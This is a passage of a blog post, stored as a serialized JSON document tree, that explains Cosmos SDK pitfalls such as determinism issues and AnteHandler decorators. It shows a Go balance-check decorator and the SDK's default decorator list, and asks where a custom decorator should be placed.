StoreInfos",{"type":24,"tag":90,"props":80210,"children":80211},{"style":114},[80212],{"type":29,"value":1833},{"type":24,"tag":90,"props":80214,"children":80215},{"style":136},[80216],{"type":29,"value":80058},{"type":24,"tag":90,"props":80218,"children":80219},{"style":114},[80220],{"type":29,"value":748},{"type":24,"tag":90,"props":80222,"children":80223},{"class":92,"line":669},[80224],{"type":24,"tag":90,"props":80225,"children":80226},{"style":114},[80227],{"type":29,"value":612},{"type":24,"tag":90,"props":80229,"children":80230},{"class":92,"line":683},[80231],{"type":24,"tag":90,"props":80232,"children":80233},{"style":114},[80234],{"type":29,"value":827},{"type":24,"tag":25,"props":80236,"children":80237},{},[80238,80240,80247,80248,80255],{"type":29,"value":80239},"Other factors contributing to determinism issues are the usage of ",{"type":24,"tag":69,"props":80241,"children":80244},{"href":80242,"rel":80243},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[73],[80245],{"type":29,"value":80246},"time-sensitive functions",{"type":29,"value":13360},{"type":24,"tag":69,"props":80249,"children":80252},{"href":80250,"rel":80251},"https://github.com/cosmos/cosmos-sdk/issues/16638",[73],[80253],{"type":29,"value":80254},"race conditions",{"type":29,"value":226},{"type":24,"tag":850,"props":80257,"children":80259},{"id":80258},"thou-shalt-not-passor-should-you",[80260],{"type":29,"value":80261},"Thou Shalt Not Pass...Or Should You?",{"type":24,"tag":25,"props":80263,"children":80264},{},[80265,80267,80273,80274,80280],{"type":29,"value":80266},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":24,"tag":32,"props":80268,"children":80270},{"className":80269},[],[80271],{"type":29,"value":80272},"msg.value",{"type":29,"value":133},{"type":24,"tag":32,"props":80275,"children":80277},{"className":80276},[],[80278],{"type":29,"value":80279},"msg.sender",{"type":29,"value":80281},", and collecting transaction fees) to the underlying blockchain.",{"type":24,"tag":25,"props":80283,"children":80284},{},[80285,80287,80293,80295,80301],{"type":29,"value":80286},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":24,"tag":32,"props":80288,"children":80290},{"className":80289},[],[80291],{"type":29,"value":80292},"Cosmos-SDK",{"type":29,"value":80294}," introduces ",{"type":24,"tag":32,"props":80296,"children":80298},{"className":80297},[],[80299],{"type":29,"value":80300},"AnteHandler",{"type":29,"value":80302}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":24,"tag":25,"props":80304,"children":80305},{},[80306,80308,80313,80315,80320],{"type":29,"value":80307},"To provide context, let's first understand how an ",{"type":24,"tag":32,"props":80309,"children":80311},{"className":80310},[],[80312],{"type":29,"value":80300},{"type":29,"value":80314}," is processed. Each ",{"type":24,"tag":32,"props":80316,"children":80318},{"className":80317},[],[80319],{"type":29,"value":80300},{"type":29,"value":80321}," is a state transition function that can:",{"type":24,"tag":3100,"props":80323,"children":80324},{},[80325,80330],{"type":24,"tag":3104,"props":80326,"children":80327},{},[80328],{"type":29,"value":80329},"Transform the block state in relation to transaction and execution context.",{"type":24,"tag":3104,"props":80331,"children":80332},{},[80333,80335],{"type":29,"value":80334},"Determine the course of action for the transaction.\n",{"type":24,"tag":3100,"props":80336,"children":80337},{},[80338,80349],{"type":24,"tag":3104,"props":80339,"children":80340},{},[80341,80343,80348],{"type":29,"value":80342},"Pass the transaction to the next ",{"type":24,"tag":32,"props":80344,"children":80346},{"className":80345},[],[80347],{"type":29,"value":80300},{"type":29,"value":226},{"type":24,"tag":3104,"props":80350,"children":80351},{},[80352],{"type":29,"value":80353},"Return error for transaction.",{"type":24,"tag":25,"props":80355,"children":80356},{},[80357,80359,80364],{"type":29,"value":80358},"The bad news is that developing an ",{"type":24,"tag":32,"props":80360,"children":80362},{"className":80361},[],[80363],{"type":29,"value":80300},{"type":29,"value":80365}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":24,"tag":25,"props":80367,"children":80368},{},[80369,80370,80376],{"type":29,"value":3131},{"type":24,"tag":32,"props":80371,"children":80373},{"className":80372},[],[80374],{"type":29,"value":80375},"AnteHandle",{"type":29,"value":80377}," implementation may look something like this:",{"type":24,"tag":80,"props":80379,"children":80381},{"code":80380,"language":77994,"meta":7,"className":77995,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[80382],{"type":24,"tag":32,"props":80383,"children":80384},{"__ignoreMap":7},[80385,80397,80413,80420,80427,80460,80484,80509,80525,80549,80581,80629,80648,80681,80702,80714,80721,80728,80735,80765,80801,80865,80899,80931,80943,80955,80962,80969,80976,80983,81025],{"type":24,"tag":90,"props":80386,"children":80387},{"class":92,"line":93},[80388,80392],{"type":24,"tag":90,"props":80389,"children":80390},{"style":97},[80391],{"type":29,"value":508},{"type":24,"tag":90,"props":80393,"children":80394},{"style":114},[80395],{"type":29,"value":80396}," (\n",{"type":24,"tag":90,"props":80398,"children":80399},{"class":92,"line":200},[80400,80405,80409],{"type":24,"tag":90,"props":80401,"children":80402},{"style":136},[80403],{"type":29,"value":80404}," MIN_BALANCE",{"type":24,"tag":90,"props":80406,"children":80407},{"style":120},[80408],{"type":29,"value":216},{"type":24,"tag":90,"props":80410,"children":80411},{"style":349},[80412],{"type":29,"value":21137},{"type":24,"tag":90,"props":80414,"children":80415},{"class":92,"line":239},[80416],{"type":24,"tag":90,"props":80417,"children":80418},{"style":114},[80419],{"type":29,"value":1686},{"type":24,"tag":90,"props":80421,"children":80422},{"class":92,"line":248},[80423],{"type":24,"tag":90,"props":80424,"children":80425},{"emptyLinePlaceholder":16},[80426],{"type":29,"value":245},{"type":24,"tag":90,"props":80428,"children":80429},{"class":92,"line":258},[80430,80434,80438,80443,80448,80452,80456],{"type":24,"tag":90,"props":80431,"children":80432},{"style":97},[80433],{"type":29,"value":78130},{"type":24,"tag":90,"props":80435,"children":80436},{"style":114},[80437],{"type":29,"value":1151},{"type":24,"tag":90,"props":80439,"children":80440},{"style":136},[80441],{"type":29,"value":80442},"abd ",{"type":24,"tag":90,"props":80444,"children":80445},{"style":146},[80446],{"type":29,"value":80447},"AccountBalanceDecorator",{"type":24,"tag":90,"props":80449,"children":80450},{"style":114},[80451],{"type":29,"value":172},{"type":24,"tag":90,"props":80453,"children":80454},{"style":108},[80455],{"type":29,"value":80375},{"type":24,"tag":90,"props":80457,"children":80458},{"style":114},[80459],{"type":29,"value":680},{"type":24,"tag":90,"props":80461,"children":80462},{"class":92,"line":272},[80463,80467,80472,80476,80480],{"type":24,"tag":90,"props":80464,"children":80465},{"style":136},[80466],{"type":29,"value":22019},{"type":24,"tag":90,"props":80468,"children":80469},{"style":146},[80470],{"type":29,"value":80471}," sdk",{"type":24,"tag":90,"props":80473,"children":80474},{"style":114},[80475],{"type":29,"value":226},{"type":24,"tag":90,"props":80477,"children":80478},{"style":146},[80479],{"type":29,"value":78179},{"type":24,"tag":90,"props":80481,"children":80482},{"style":114},[80483],{"type":29,"value":748},{"type":24,"tag":90,"props":80485,"children":80486},{"class":92,"line":281},[80487,80492,80496,80500,80505],{"type":24,"tag":90,"props":80488,"children":80489},{"style":136},[80490],{"type":29,"value":80491}," tx",{"type":24,"tag":90,"props":80493,"children":80494},{"style":146},[80495],{"type":29,"value":80471},{"type":24,"tag":90,"props":80497,"children":80498},{"style":114},[80499],{"type":29,"value":226},{"type":24,"tag":90,"props":80501,"children":80502},{"style":146},[80503],{"type":29,"value":80504},"Tx",{"type":24,"tag":90,"props":80506,"children":80507},{"style":114},[80508],{"type":29,"value":748},{"type":24,"tag":90,"props":80510,"children":80511},{"class":92,"line":384},[80512,80517,80521],{"type":24,"tag":90,"props":80513,"children":80514},{"style":136},[80515],{"type":29,"value":80516}," simulate",{"type":24,"tag":90,"props":80518,"children":80519},{"style":146},[80520],{"type":29,"value":167},{"type":24,"tag":90,"props":80522,"children":80523},{"style":114},[80524],{"type":29,"value":748},{"type":24,"tag":90,"props":80526,"children":80527},{"class":92,"line":420},[80528,80533,80537,80541,80545],{"type":24,"tag":90,"props":80529,"children":80530},{"style":136},[80531],{"type":29,"value":80532}," next",{"type":24,"tag":90,"props":80534,"children":80535},{"style":146},[80536],{"type":29,"value":80471},{"type":24,"tag":90,"props":80538,"children":80539},{"style":114},[80540],{"type":29,"value":226},{"type":24,"tag":90,"props":80542,"children":80543},{"style":146},[80544],{"type":29,"value":80300},{"type":24,"tag":90,"props":80546,"children":80547},{"style":114},[80548],{"type":29,"value":748},{"type":24,"tag":90,"props":80550,"children":80551},{"class":92,"line":428},[80552,80556,80561,80565,80569,80573,80577],{"type":24,"tag":90,"props":80553,"children":80554},{"style":114},[80555],{"type":29,"value":78212},{"type":24,"tag":90,"props":80557,"children":80558},{"style":146},[80559],{"type":29,"value":80560},"sdk",{"type":24,"tag":90,"props":80562,"children":80563},{"style":114},[80564],{"type":29,"value":226},{"type":24,"tag":90,"props":80566,"children":80567},{"style":146},[80568],{"type":29,"value":78179},{"type":24,"tag":90,"props":80570,"children":80571},{"style":114},[80572],{"type":29,"value":133},{"type":24,"tag":90,"props":80574,"children":80575},{"style":146},[80576],{"type":29,"value":1357},{"type":24,"tag":90,"props":80578,"children":80579},{"style":114},[80580],{"type":29,"value":1297},{"type":24,"tag":90,"props":80582,"children":80583},{"class":92,"line":437},[80584,80589,80593,80598,80602,80606,80611,80616,80620,80625],{"type":24,"tag":90,"props":80585,"children":80586},{"style":136},[80587],{"type":29,"value":80588}," sigTx",{"type":24,"tag":90,"props":80590,"children":80591},{"style":114},[80592],{"type":29,"value":133},{"type":24,"tag":90,"props":80594,"children":80595},{"style":136},[80596],{"type":29,"value":80597},"ok",{"type":24,"tag":90,"props":80599,"children":80600},{"style":120},[80601],{"type":29,"value":78246},{"type":24,"tag":90,"props":80603,"children":80604},{"style":136},[80605],{"type":29,"value":69855},{"type":24,"tag":90,"props":80607,"children":80608},{"style":114},[80609],{"type":29,"value":80610},".(",{"type":24,"tag":90,"props":80612,"children":80613},{"style":146},[80614],{"type":29,"value":80615},"authsigning",{"type":24,"tag":90,"props":80617,"children":80618},{"style":114},[80619],{"type":29,"value":226},{"type":24,"tag":90,"props":80621,"children":80622},{"style":146},[80623],{"type":29,"value":80624},"SigVerifiableTx",{"type":24,"tag":90,"props":80626,"children":80627},{"style":114},[80628],{"type":29,"value":1686},{"type":24,"tag":90,"props":80630,"children":80631},{"class":92,"line":574},[80632,80636,80640,80644],{"type":24,"tag":90,"props":80633,"children":80634},{"style":636},[80635],{"type":29,"value":639},{"type":24,"tag":90,"props":80637,"children":80638},{"style":120},[80639],{"type":29,"value":2089},{"type":24,"tag":90,"props":80641,"children":80642},{"style":136},[80643],{"type":29,"value":80597},{"type":24,"tag":90,"props":80645,"children":80646},{"style":114},[80647],{"type":29,"value":269},{"type":24,"tag":90,"props":80649,"children":80650},{"class":92,"line":606},[80651,80655,80659,80663,80668,80672,80677],{"type":24,"tag":90,"props":80652,"children":80653},{"style":636},[80654],{"type":29,"value":2253},{"type":24,"tag":90,"props":80656,"children":80657},{"style":136},[80658],{"type":29,"value":27652},{"type":24,"tag":90,"props":80660,"children":80661},{"style":114},[80662],{"type":29,"value":133},{"type":24,"tag":90,"props":80664,"children":80665},{"style":136},[80666],{"type":29,"value":80667},"errorsmod",{"type":24,"tag":90,"props":80669,"children":80670},{"style":114},[80671],{"type":29,"value":226},{"type":24,"tag":90,"props":80673,"children":80674},{"style":108},[80675],{"type":29,"value":80676},"Wrap",{"type":24,"tag":90,"props":80678,"children":80679},{"style":114},[80680],{"type":29,"value":680},{"type":24,"tag":90,"props":80682,"children":80683},{"class":92,"line":615},[80684,80689,80693,80698],{"type":24,"tag":90,"props":80685,"children":80686},{"style":136},[80687],{"type":29,"value":80688}," sdkerrors",{"type":24,"tag":90,"props":80690,"children":80691},{"style":114},[80692],{"type":29,"value":226},{"type":24,"tag":90,"props":80694,"children":80695},{"style":136},[80696],{"type":29,"value":80697},"ErrTxDecode",{"type":24,"tag":90,"props":80699,"children":80700},{"style":114},[80701],{"type":29,"value":748},{"type":24,"tag":90,"props":80703,"children":80704},{"class":92,"line":623},[80705,80710],{"type":24,"tag":90,"props":80706,"children":80707},{"style":1085},[80708],{"type":29,"value":80709}," \"invalid tx type\"",{"type":24,"tag":90,"props":80711,"children":80712},{"style":114},[80713],{"type":29,"value":748},{"type":24,"tag":90,"props":80715,"children":80716},{"class":92,"line":632},[80717],{"type":24,"tag":90,"props":80718,"children":80719},{"style":114},[80720],{"type":29,"value":70148},{"type":24,"tag":90,"props":80722,"children":80723},{"class":92,"line":669},[80724],{"type":24,"tag":90,"props":80725,"children":80726},{"style":114},[80727],{"type":29,"value":612},{"type":24,"tag":90,"props":80729,"children":80730},{"class":92,"line":683},[80731],{"type":24,"tag":90,"props":80732,"children":80733},{"emptyLinePlaceholder":16},[80734],{"type":29,"value":245},{"type":24,"tag":90,"props":80736,"children":80737},{"class":92,"line":737},[80738,80743,80747,80752,80756,80761],{"type":24,"tag":90,"props":80739,"children":80740},{"style":136},[80741],{"type":29,"value":80742}," signers",{"type":24,"tag":90,"props":80744,"children":80745},{"style":120},[80746],{"type":29,"value":78246},{"type":24,"tag":90,"props":80748,"children":80749},{"style":136},[80750],{"type":29,"value":80751}," sigTx",{"type":24,"tag":90,"props":80753,"children":80754},{"style":114},[80755],{"type":29,"value":226},{"type":24,"tag":90,"props":80757,"children":80758},{"style":108},[80759],{"type":29,"value":80760},"GetSigners",{"type":24,"tag":90,"props":80762,"children":80763},{"style":114},[80764],{"type":29,"value":2121},{"type":24,"tag":90,"props":80766,"children":80767},{"class":92,"line":751},[80768,80772,80776,80780,80784,80788,80792,80797],{"type":24,"tag":90,"props":80769,"children":80770},{"style":636},[80771],{"type":29,"value":5434},{"type":24,"tag":90,"props":80773,"children":80774},{"style":136},[80775],{"type":29,"value":5790},{"type":24,"tag":90,"props":80777,"children":80778},{"style":114},[80779],{"type":29,"value":133},{"type":24,"tag":90,"props":80781,"children":80782},{"style":136},[80783],{"type":29,"value":9528},{"type":24,"tag":90,"props":80785,"children":80786},{"style":120},[80787],{"type":29,"value":78246},{"type":24,"tag":90,"props":80789,"children":80790},{"style":636},[80791],{"type":29,"value":79229},{"type":24,"tag":90,"props":80793,"children":80794},{"style":136},[80795],{"type":29,"value":80796}," signers",{"type":24,"tag":90,"props":80798,"children":80799},{"style":114},[80800],{"type":29,"value":269},{"type":24,"tag":90,"props":80802,"children":80803},{"class":92,"line":782},[80804,80809,80813,80818,80822,80827,80831,80836,80840,80844,80848,80852,80856,80861],{"type":24,"tag":90,"props":80805,"children":80806},{"style":136},[80807],{"type":29,"value":80808}," balance",{"type":24,"tag":90,"props":80810,"children":80811},{"style":120},[80812],{"type":29,"value":78246},{"type":24,"tag":90,"props":80814,"children":80815},{"style":136},[80816],{"type":29,"value":80817}," abd",{"type":24,"tag":90,"props":80819,"children":80820},{"style":114},[80821],{"type":29,"value":226},{"type":24,"tag":90,"props":80823,"children":80824},{"style":136},[80825],{"type":29,"value":80826},"bk",{"type":24,"tag":90,"props":80828,"children":80829},{"style":114},[80830],{"type":29,"value":226},{"type":24,"tag":90,"props":80832,"children":80833},{"style":108},[80834],{"type":29,"value":80835},"getBalance",{"type":24,"tag":90,"props":80837,"children":80838},{"style":114},[80839],{"type":29,"value":117},{"type":24,"tag":90,"props":80841,"children":80842},{"style":136},[80843],{"type":29,"value":22076},{"type":24,"tag":90,"props":80845,"children":80846},{"style":114},[80847],{"type":29,"value":133},{"type":24,"tag":90,"props":80849,"children":80850},{"style":136},[80851],{"type":29,"value":9528},{"type":24,"tag":90,"props":80853,"children":80854},{"style":114},[80855],{"type":29,"value":133},{"type":24,"tag":90,"props":80857,"children":80858},{"style":136},[80859],{"type":29,"value":80860},"ATOM",{"type":24,"tag":90,"props":80862,"children":80863},{"style":114},[80864],{"type":29,"value":1686},{"type":24,"tag":90,"props":80866,"children":80867},{"class":92,"line":791},[80868,80872,80877,80881,80886,80890,80895],{"type":24,"tag":90,"props":80869,"children":80870},{"style":636},[80871],{"type":29,"value":5667},{"type":24,"tag":90,"props":80873,"children":80874},{"style":136},[80875],{"type":29,"value":80876}," balance",{"type":24,"tag":90,"props":80878,"children":80879},{"style":114},[80880],{"type":29,"value":226},{"type":24,"tag":90,"props":80882,"children":80883},{"style":136},[80884],{"type":29,"value":80885},"Amount",{"type":24,"tag":90,"props":80887,"children":80888},{"style":120},[80889],{"type":29,"value":11095},{"type":24,"tag":90,"props":80891,"children":80892},{"style":136},[80893],{"type":29,"value":80894}," MIN_BALANCE",{"type":24,"tag":90,"props":80896,"children":80897},{"style":114},[80898],{"type":29,"value":269},{"type":24,"tag":90,"props":80900,"children":80901},{"class":92,"line":799},[80902,80907,80911,80915,80919,80923,80927],{"type":24,"tag":90,"props":80903,"children":80904},{"style":636},[80905],{"type":29,"value":80906}," return",{"type":24,"tag":90,"props":80908,"children":80909},{"style":136},[80910],{"type":29,"value":27652},{"type":24,"tag":90,"props":80912,"children":80913},{"style":114},[80914],{"type":29,"value":133},{"type":24,"tag":90,"props":80916,"children":80917},{"style":136},[80918],{"type":29,"value":80667},{"type":24,"tag":90,"props":80920,"children":80921},{"style":114},[80922],{"type":29,"value":226},{"type":24,"tag":90,"props":80924,"children":80925},{"style":108},[80926],{"type":29,"value":80676},{"type":24,"tag":90,"props":80928,"children":80929},{"style":114},[80930],{"type":29,"value":680},{"type":24,"tag":90,"props":80932,"children":80933},{"class":92,"line":807},[80934,80939],{"type":24,"tag":90,"props":80935,"children":80936},{"style":136},[80937],{"type":29,"value":80938}," ErrInsufficientBalance",{"type":24,"tag":90,"props":80940,"children":80941},{"style":114},[80942],{"type":29,"value":748},{"type":24,"tag":90,"props":80944,"children":80945},{"class":92,"line":821},[80946,80951],{"type":24,"tag":90,"props":80947,"children":80948},{"style":1085},[80949],{"type":29,"value":80950}," \"Insufficient Balance\"",{"type":24,"tag":90,"props":80952,"children":80953},{"style":114},[80954],{"type":29,"value":748},{"type":24,"tag":90,"props":80956,"children":80957},{"class":92,"line":6278},[80958],{"type":24,"tag":90,"props":80959,"children":80960},{"style":114},[80961],{"type":29,"value":79345},{"type":24,"tag":90,"props":80963,"children":80964},{"class":92,"line":11420},[80965],{"type":24,"tag":90,"props":80966,"children":80967},{"style":114},[80968],{"type":29,"value":5740},{"type":24,"tag":90,"props":80970,"children":80971},{"class":92,"line":11438},[80972],{"type":24,"tag":90,"props":80973,"children":80974},{"style":114},[80975],{"type":29,"value":612},{"type":24,"tag":90,"props":80977,"children":80978},{"class":92,"line":11483},[80979],{"type":24,"tag":90,"props":80980,"children":80981},{"emptyLinePlaceholder":16},[80982],{"type":29,"value":245},{"type":24,"tag":90,"props":80984,"children":80985},{"class":92,"line":11589},[80986,80990,80995,80999,81003,81007,81012,81016,81021],{"type":24,"tag":90,"props":80987,"children":80988},{"style":636},[80989],{"type":29,"value":3510},{"type":24,"tag":90,"props":80991,"children":80992},{"style":108},[80993],{"type":29,"value":80994}," next",{"type":24,"tag":90,"props":80996,"children":80997},{"style":114},[80998],{"type":29,"value":117},{"type":24,"tag":90,"props":81000,"children":81001},{"style":136},[81002],{"type":29,"value":22076},{"type":24,"tag":90,"props":81004,"children":81005},{"style":114},[81006],{"type":29,"value":133},{"type":24,"tag":90,"props":81008,"children":81009},{"style":136},[81010],{"type":29,"value":81011},"tx",{"type":24,"tag":90,"props":81013,"children":81014},{"style":114},[81015],{"type":29,"value":133},{"type":24,"tag":90,"props":81017,"children":81018},{"style":136},[81019],{"type":29,"value":81020},"simulate",{"type":24,"tag":90,"props":81022,"children":81023},{"style":114},[81024],{"type":29,"value":1686},{"type":24,"tag":90,"props":81026,"children":81027},{"class":92,"line":25306},[81028],{"type":24,"tag":90,"props":81029,"children":81030},{"style":114},[81031],{"type":29,"value":827},{"type":24,"tag":25,"props":81033,"children":81034},{},[81035,81037,81042,81044,81050,81052,81058],{"type":29,"value":81036},"Where should this custom ",{"type":24,"tag":32,"props":81038,"children":81040},{"className":81039},[],[81041],{"type":29,"value":80300},{"type":29,"value":81043}," be placed relative to other ",{"type":24,"tag":32,"props":81045,"children":81047},{"className":81046},[],[81048],{"type":29,"value":81049},"AnteHandlers",{"type":29,"value":81051}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":24,"tag":32,"props":81053,"children":81055},{"className":81054},[],[81056],{"type":29,"value":81057},"SetUpContextDecorator",{"type":29,"value":81059}," should work, right?",{"type":24,"tag":25,"props":81061,"children":81062},{},[81063],{"type":24,"tag":69,"props":81064,"children":81067},{"href":81065,"rel":81066},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[73],[81068],{"type":29,"value":78569},{"type":24,"tag":80,"props":81070,"children":81072},{"code":81071,"language":77994,"meta":7,"className":77995,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[81073],{"type":24,"tag":32,"props":81074,"children":81075},{"__ignoreMap":7},[81076,81109,81126,81134,81163,81175,81187,81216,81244,81323,81356,81384,81429,81474,81502],{"type":24,"tag":90,"props":81077,"children":81078},{"class":92,"line":93},[81079,81084,81088,81092,81096,81100,81105],{"type":24,"tag":90,"props":81080,"children":81081},{"style":136},[81082],{"type":29,"value":81083},"anteDecorators",{"type":24,"tag":90,"props":81085,"children":81086},{"style":120},[81087],{"type":29,"value":78246},{"type":24,"tag":90,"props":81089,"children":81090},{"style":114},[81091],{"type":29,"value":78057},{"type":24,"tag":90,"props":81093,"children":81094},{"style":146},[81095],{"type":29,"value":80560},{"type":24,"tag":90,"props":81097,"children":81098},{"style":114},[81099],{"type":29,"value":226},{"type":24,"tag":90,"props":81101,"children":81102},{"style":146},[81103],{"type":29,"value":81104},"AnteDecorator",{"type":24,"tag":90,"props":81106,"children":81107},{"style":114},[81108],{"type":29,"value":2221},{"type":24,"tag":90,"props":81110,"children":81111},{"class":92,"line":200},[81112,81117,81121],{"type":24,"tag":90,"props":81113,"children":81114},{"style":108},[81115],{"type":29,"value":81116}," NewSetUpContextDecorator",{"type":24,"tag":90,"props":81118,"children":81119},{"style":114},[81120],{"type":29,"value":4900},{"type":24,"tag":90,"props":81122,"children":81123},{"style":252},[81124],{"type":29,"value":81125},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":24,"tag":90,"props":81127,"children":81128},{"class":92,"line":239},[81129],{"type":24,"tag":90,"props":81130,"children":81131},{"style":252},[81132],{"type":29,"value":81133}," // INSERT HERE\n",{"type":24,"tag":90,"props":81135,"children":81136},{"class":92,"line":248},[81137,81142,81146,81150,81154,81159],{"type":24,"tag":90,"props":81138,"children":81139},{"style":108},[81140],{"type":29,"value":81141}," NewExtensionOptionsDecorator",{"type":24,"tag":90,"props":81143,"children":81144},{"style":114},[81145],{"type":29,"value":117},{"type":24,"tag":90,"props":81147,"children":81148},{"style":136},[81149],{"type":29,"value":37854},{"type":24,"tag":90,"props":81151,"children":81152},{"style":114},[81153],{"type":29,"value":226},{"type":24,"tag":90,"props":81155,"children":81156},{"style":136},[81157],{"type":29,"value":81158},"ExtensionOptionChecker",{"type":24,"tag":90,"props":81160,"children":81161},{"style":114},[81162],{"type":29,"value":779},{"type":24,"tag":90,"props":81164,"children":81165},{"class":92,"line":258},[81166,81171],{"type":24,"tag":90,"props":81167,"children":81168},{"style":108},[81169],{"type":29,"value":81170}," NewValidateBasicDecorator",{"type":24,"tag":90,"props":81172,"children":81173},{"style":114},[81174],{"type":29,"value":1384},{"type":24,"tag":90,"props":81176,"children":81177},{"class":92,"line":272},[81178,81183],{"type":24,"tag":90,"props":81179,"children":81180},{"style":108},[81181],{"type":29,"value":81182}," NewTxTimeoutHeightDecorator",{"type":24,"tag":90,"props":81184,"children":81185},{"style":114},[81186],{"type":29,"value":1384},{"type":24,"tag":90,"props":81188,"children":81189},{"class":92,"line":281},[81190,81195,81199,81203,81207,81212],{"type":24,"tag":90,"props":81191,"children":81192},{"style":108},[81193],{"type":29,"value":81194}," NewValidateMemoDecorator",{"type":24,"tag":90,"props":81196,"children":81197},{"style":114},[81198],{"type":29,"value":117},{"type":24,"tag":90,"props":81200,"children":81201},{"style":136},[81202],{"type":29,"value":37854},{"type":24,"tag":90,"props":81204,"children":81205},{"style":114},[81206],{"type":29,"value":226},{"type":24,"tag":90,"props":81208,"children":81209},{"style":136},[81210],{"type":29,"value":81211},"AccountKeeper",{"type":24,"tag":90,"props":81213,"children":81214},{"style":114},[81215],{"type":29,"value":779},{"type":24,"tag":90,"props":81217,"children":81218},{"class":92,"line":384},[81219,81224,81228,81232,81236,81240],{"type":24,"tag":90,"props":81220,"children":81221},{"style":108},[81222],{"type":29,"value":81223}," NewConsumeGasForTxSizeDecorator",{"type":24,"tag":90,"props":81225,"children":81226},{"style":114},[81227],{"type":29,"value":117},{"type":24,"tag":90,"props":81229,"children":81230},{"style":136},[81231],{"type":29,"value":37854},{"type":24,"tag":90,"props":81233,"children":81234},{"style":114},[81235],{"type":29,"value":226},{"type":24,"tag":90,"props":81237,"children":81238},{"style":136},[81239],{"type":29,"value":81211},{"type":24,"tag":90,"props":81241,"children":81242},{"style":114},[81243],{"type":29,"value":779},{"type":24,"tag":90,"props":81245,"children":81246},{"class":92,"line":420},[81247,81252,81256,81260,81264,81268,81272,81276,81280,81285,81289,81293,81297,81302,81306,81310,81314,81319],{"type":24,"tag":90,"props":81248,"children":81249},{"style":108},[81250],{"type":29,"value":81251}," NewDeductFeeDecorator",{"type":24,"tag":90,"props":81253,"children":81254},{"style":114},[81255],{"type":29,"value":117},{"type":24,"tag":90,"props":81257,"children":81258},{"style":136},[81259],{"type":29,"value":37854},{"type":24,"tag":90,"props":81261,"children":81262},{"style":114},[81263],{"type":29,"value":226},{"type":24,"tag":90,"props":81265,"children":81266},{"style":136},[81267],{"type":29,"value":81211},{"type":24,"tag":90,"props":81269,"children":81270},{"style":114},[81271],{"type":29,"value":133},{"type":24,"tag":90,"props":81273,"children":81274},{"style":136},[81275],{"type":29,"value":37854},{"type":24,"tag":90,"props":81277,"children":81278},{"style":114},[81279],{"type":29,"value":226},{"type":24,"tag":90,"props":81281,"children":81282},{"style":136},[81283],{"type":29,"value":81284},"BankKeeper",{"type":24,"tag":90,"props":81286,"children":81287},{"style":114},[81288],{"type":29,"value":133},{"type":24,"tag":90,"props":81290,"children":81291},{"style":136},[81292],{"type":29,"value":37854},{"type":24,"tag":90,"props":81294,"children":81295},{"style":114},[81296],{"type":29,"value":226},{"type":24,"tag":90,"props":81298,"children":81299},{"style":136},[81300],{"type":29,"value":81301},"FeegrantKeeper",{"type":24,"tag":90,"props":81303,"children":81304},{"style":114},[81305],{"type":29,"value":133},{"type":24,"tag":90,"props":81307,"children":81308},{"style":136},[81309],{"type":29,"value":37854},{"type":24,"tag":90,"props":81311,"children":81312},{"style":114},[81313],{"type":29,"value":226},{"type":24,"tag":90,"props":81315,"children":81316},{"style":136},[81317],{"type":29,"value":81318},"TxFeeChecker",{"type":24,"tag":90,"props":81320,"children":81321},{"style":114},[81322],{"type":29,"value":779},{"type":24,"tag":90,"props":81324,"children":81325},{"class":92,"line":428},[81326,81331,81335,81339,81343,81347,81351],{"type":24,"tag":90,"props":81327,"children":81328},{"style":108},[81329],{"type":29,"value":81330}," NewSetPubKeyDecorator",{"type":24,"tag":90,"props":81332,"children":81333},{"style":114},[81334],{"type":29,"value":117},{"type":24,"tag":90,"props":81336,"children":81337},{"style":136},[81338],{"type":29,"value":37854},{"type":24,"tag":90,"props":81340,"children":81341},{"style":114},[81342],{"type":29,"value":226},{"type":24,"tag":90,"props":81344,"children":81345},{"style":136},[81346],{"type":29,"value":81211},{"type":24,"tag":90,"props":81348,"children":81349},{"style":114},[81350],{"type":29,"value":1677},{"type":24,"tag":90,"props":81352,"children":81353},{"style":252},[81354],{"type":29,"value":81355},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":24,"tag":90,"props":81357,"children":81358},{"class":92,"line":437},[81359,81364,81368,81372,81376,81380],{"type":24,"tag":90,"props":81360,"children":81361},{"style":108},[81362],{"type":29,"value":81363}," 